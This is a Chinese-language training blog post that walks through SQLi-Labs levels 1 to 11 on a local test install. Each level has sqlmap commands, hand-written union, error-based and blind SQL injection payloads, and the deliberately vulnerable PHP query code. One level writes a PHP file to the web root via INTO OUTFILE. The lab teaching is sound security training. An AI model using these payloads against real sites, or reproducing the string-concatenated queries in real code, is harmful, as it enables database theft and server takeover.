【Mysql sql inject】【入門篇】SQLi-Labs使用 part 1【01-11】

人員流動性過大一直是乙方公司痛點。雖然試用期間都有崗前學習,但老員工忙於項目無暇帶新人成長,入職新人的學習基本靠本身不斷摸索。指望看相關文檔就能夠一蹴而是不現實的。而循序漸進的學習又很難短時間內將知識有效運用到工做中。php

工做中的學習須要明確目的,制定目標而後定製各個階段的任務。 例如SQL注入學習能夠把目標分化爲漏洞驗證、漏洞利用,從熟悉工具和原理入手以後不斷的深刻提高。而後再考慮漏洞修復。html

本文用SQLi-Labs做爲測試環境,對學習SQL注入按利用工具、手工測試作粗淺總結;python

 

1、環境介紹

SQLi-Labs 是一個專業的SQL注入練習平臺mysql

下面的測試場景都支持GET和POST兩種注入方式:git

1.報錯注入(聯合查詢) 
1)字符型 
2)數字型 
2.報錯注入(基於二次注入) 
3.盲注 
1)基於布爾值 
2)基於時間 
4.UPDATE型注入練習 
5.INSERT型注入練
github

  1. HTTP頭部注入 
    1)基於Referer 
    2)基於UserAgent 
    3)基於Cookie
  2. 二次排序注入練習

2、工具準備

一、SQLMAPSQL注入工具
二、BURPSUITE:監控每一次請求包的HTTP狀態
三、Seay源代碼審計系統插件:Mysql監控
四、編碼轉換:
1http://www.107000.com/T-Hex/
2python自帶:print "hex數值".decode("hex")

3、環境搭建

phpstudy開啓mysql日誌、apache日誌
windows 7設置目錄爲徹底控制;
源碼地址:SQLi-Labs
https://github.com/Audi-1/sqli-labs

TIPS:爲了更清楚的摸索架構,MYSQL中我又新建了數據庫[the_flag_db]、數據表[the_flag_table]、數據內容[flags{Hello,Iamflags]; 
建表語句
sql

SET FOREIGN_KEY_CHECKS=0;
 
-- ----------------------------
-- Table structure for `the_flag_table`
-- ----------------------------
DROP TABLE IF EXISTS `the_flag_table`;
CREATE TABLE `the_flag_table` (
`the_flag_content` varchar(20) DEFAULT NULL,
`the_value123456` int(20) DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=gbk;
 
-- ----------------------------
-- Records of the_flag_table
-- ----------------------------
INSERT INTO `the_flag_table` VALUES ('flags{Hello,Iamflags', '1');
INSERT INTO `the_flag_table` VALUES ('flags2(hello,test)', '2');
 
-- ----------------------------
-- Table structure for `the_test`
-- ----------------------------
DROP TABLE IF EXISTS `the_test`;
CREATE TABLE `the_test` (
`test` int(5) DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=gbk;
 
-- ----------------------------
-- Records of the_test
-- ----------------------------

4、學習目的

學習SQLMAP封裝的注入語句原理

  • 提煉測試語句
  • 熟悉sqlmap內部封裝的Mysql注入語句

學習php代碼注入漏洞的閉合形式

  • 熟悉sql注入產生的字段
  • 漏洞驗證(工具+手工)

5、基礎知識

漏洞驗證 
shell

當前數據庫名 
sqlmap -u 「http://vul.com/vultest.php?id=1」 –current-db 

 
漏洞利用 
數據庫

數據庫枚舉 
sqlmap -u 「http://vul.com/vultest.php?id=1」 –dbs 
數據庫內容 
sqlmap -u 「http://vul.com/vultest.php?id=1」 -D,-T,-C,–dump-alll 
盲注手法 
sqlmap -u 「http://vul.com/vultest.php?id=1」 –technique BST 
自動選擇 
sqlmap -u 「http://vul.com/vultest.php?id=1」 –batch

經常使用選項apache

sqlmap -u 「http://vul.com/vultest.php?id=1」 --current-db --technique BST --batch

 

SQL基礎

SQL功能 操做符
數據定義 CREATE、DROP、ALTER
數據查詢 SELECT
數據操縱 INSERT、UPDATE、DELETE
數據控制 GRANT、REVOKE、DENY
事務控制 BEGIN、COMMIT、ROLLBACK
嵌入型/服務器端編程 DECLARE、EXPLAIN、OPEN、FETCH、CLOSE、PREPARE、EXECUTE、DESCRIBE

 

參考了WOOYUN中注入方式的文章連接:
>【利用insert,update和delete注入獲取數據】

 

6、關卡學習

這幾關是GET形式的注入

  • Less-1 Error Based- String

1)工具用法:

sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-1/index.php?id=1" --current-db

2)手工注入

http://127.0.0.1/hacker/sqli-labs-master/Less-1/index.php?id=1' and 1=2 union select 1,updatexml(1,concat(0x7e,(select database())),1),3-- -

3)注入點產生代碼

$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
 
// connectivity
 
 
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
  • Less-2 Error Based- Intiger

1)工具用法:

sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-2/index.php?id=2" --current-db --threads 10 --batch --technique BES

2)手工注入

http://127.0.0.1/hacker/sqli-labs-master/Less-2/index.php?id=1 and 1=2 union select 1,2,updatexml(1,concat(0x7e,database()),1)-- -

3)注入點產生代碼

if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
 
 
// connectivity
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
  • Less-3 Error Based- String (with Twist)

1)工具用法:

sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-3/index.php?id=1" --current-db --threads 10 --batch --technique BES

2)手工注入

http://127.0.0.1/hacker/sqli-labs-master/Less-3/index.php?id=1') and 1=2 UNION SELECT 1,2,updatexml(1,concat(0x7e,database()),1)-- -

3)注入點產生代碼

if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
 
// connectivity
 
 
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
  • Less-4 Error Based- DoubleQuotes String

1)工具用法:

sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-4/index.php?id=1" --current-db --threads 10 --batch --technique BES

2)手工注入

http://127.0.0.1/hacker/sqli-labs-master/Less-4/index.php?id=1") and 1=2 union select 1,2,updatexml(1,concat(0x7e,(select database())),1)-- -

3)注入點產生代碼

if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
 
// connectivity
 
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
  • Less-5 Double Query- Single Quotes- String

1)工具用法:

sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-5/index.php?id=1" --current-db --threads 10 --batch --technique BES

2)手工注入

http://127.0.0.1/hacker/sqli-labs-master/Less-5/index.php?id=1' union select 1,1,updatexml(1,concat(0x7e,(database())),1)-- -

3)注入點產生代碼

if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
 
// connectivity
 
 
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
 
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
  • Less-6 Double Query- Double Quotes- String

1)工具用法:

sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-6/index.php?id=1" --current-db --threads 10 --batch --technique BES

2)手工注入

http://127.0.0.1/hacker/sqli-labs-master/Less-6/index.php?id=1" and 1=2 union select 1,1,updatexml(1,concat(0x7e,(database())),1)-- -

3)注入點產生代碼

if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
 
// connectivity
 
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
  • Less-7 Dump into Outfile

1)工具用法:

《漏洞驗證》
sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-7/index.php?id=1" --current-db --threads 10 --batch --technique BES
《文件導出》
這關用sqlmap沒有成功.

2)手工注入 
經驗:這關是練習的文件的寫入,使用函數into outfile,導出shell老是失敗,查看mysql日誌看出原來是由於少了個**)**號,sqlmap語句閉合不正確沒法導出文件,閉合就能夠了;

http://127.0.0.1/hacker/sqli-labs-master/Less-7/index.php?id=
1')) union select 1,2,'<?php phpinfo(); ?>' into outfile "D:\\phpStudyx64\\WWW\\hacker\\sqli-labs-master\\Less-7\\union2.php"-- -

3)注入點產生代碼

if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
 
// connectivity
 
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
  • Less-8 Blind- Boolian- Single Quotes- String

1)工具用法:

sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-8/index.php?id=1" --current-db --threads 10 --batch --technique BES

2)手工注入

less8的注入點不顯示錯誤信息; 
數據庫執行sql語句返回爲真時:返回You are in………..,爲假時不返回信息,知識點在考察盲注,所謂盲注也就是咱們能夠換中提問方式,數據庫只需回答真或假。好比咱們能夠問當前數據庫的第一個之母爲m嗎?數據庫回答是這裏則返回You are in………..,不是則不返回。 
相關知識點:

涉及函數 函數功能
ORD() 返回字符串第一個字符的 ASCII 值。
MID() MID() 函數用於獲得一個字符串的一部分。這個函數被MySQL支持,但不被MS SQL Server和Oracle支持。在SQL Server, Oracle 數據庫中,咱們可使用 SQL SUBSTRING函數或者 SQL SUBSTR函數做爲替代
char_length() 無論漢字仍是數字或者是字母都算是一個字符。

截取SQLMAP測試語句

ID:1' AND ORD(MID((IFNULL(CAST(CHAR_LENGTH(DATABASE()) AS CHAR),0x20)),1,1))>51 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(CHAR_LENGTH(DATABASE()) AS CHAR),0x20)),1,1))>54 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(CHAR_LENGTH(DATABASE()) AS CHAR),0x20)),1,1))>56 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(CHAR_LENGTH(DATABASE()) AS CHAR),0x20)),1,1))>55 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(CHAR_LENGTH(DATABASE()) AS CHAR),0x20)),2,1))>51 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(CHAR_LENGTH(DATABASE()) AS CHAR),0x20)),2,1))>48 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(CHAR_LENGTH(DATABASE()) AS CHAR),0x20)),2,1))>1 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>64 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>64 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>64 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))>64 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))>64 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1))>64 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))>64 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))>64 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>96 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>96 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>96 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))>96 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))>96 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))>96 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))>96 AND 'adpz'='adpz

3)注入點產生代碼

if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
 
// connectivity
 
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
  • Less-9 Blind- Time based- Single Quotes- String

1)工具用法:

sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-9/index.php?id=1" --current-db --threads 10 --batch --technique BEST

2)手工注入 
相關知識點:考察時間盲注知識;

涉及函數 函數功能
ORD() 返回字符串第一個字符的 ASCII 值。
MID() MID() 函數用於獲得一個字符串的一部分。這個函數被MySQL支持,但不被MS SQL Server和Oracle支持。在SQL Server, Oracle 數據庫中,咱們可使用 SQL SUBSTRING函數或者 SQL SUBSTR函數做爲替代
sleep() 適用 MySQL 5,延時時間執行。
BENCHMARK() 適用 MySQL 4/5 ,延時時間執行。

截取SQLMAP測試語句

ID:1' AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))>1,0,2)))))cCsF) AND 'JQMs'='JQMs

3)注入點產生代碼

if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
 
// connectivity
 
 
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
  • Less-10 Blind- Time based- Double Quotes- String

1)工具用法:

sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-9/index.php?id=1" --current-db --threads 10 --batch --technique BEST

2)手工注入

Less-9相似,也是基於時間的盲注,只不過須要 " 來閉合。

3)注入點產生代碼

// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
 
// connectivity
 
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
SQLMAP 工具技巧
  • Less-9&Less-10 
    想要用SQLMAP測試實際的時間盲注語句,能夠用下面的這條命令;
sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-9/index.php?id=1" -D the_flag_db -T the_flag_table -C the_flag_content --dump --level 5 --risk 3 --technique T

 

 

這幾關是POST形式的注入

  • Less-11 - POST - Error Based - Single quotes - String

1)工具用法:

SQLMAP POST注入用法之一,注入點處加 * 號,也能夠用-r選項。
sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-11/index.php" --data "uname=111*&passwd=111&submit=Submit" --current-db --threads 10 --batch --technique BES

2)手工注入

這裏用了burpsuite的repeater模塊,在用戶名處產生。用報錯語句能夠很快拿出數據,POST型注入用工具跑得很久。。。

POST /hacker/sqli-labs-master/Less-11/index.php?id=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
 
uname=111' or 1=((updatexml(1,concat(0x7e,(database())),1)))-- -&passwd=111&submit=Submit

3)注入點產生代碼

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
 
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname);
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);
 
 
// connectivity
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
相關文章
相關標籤/搜索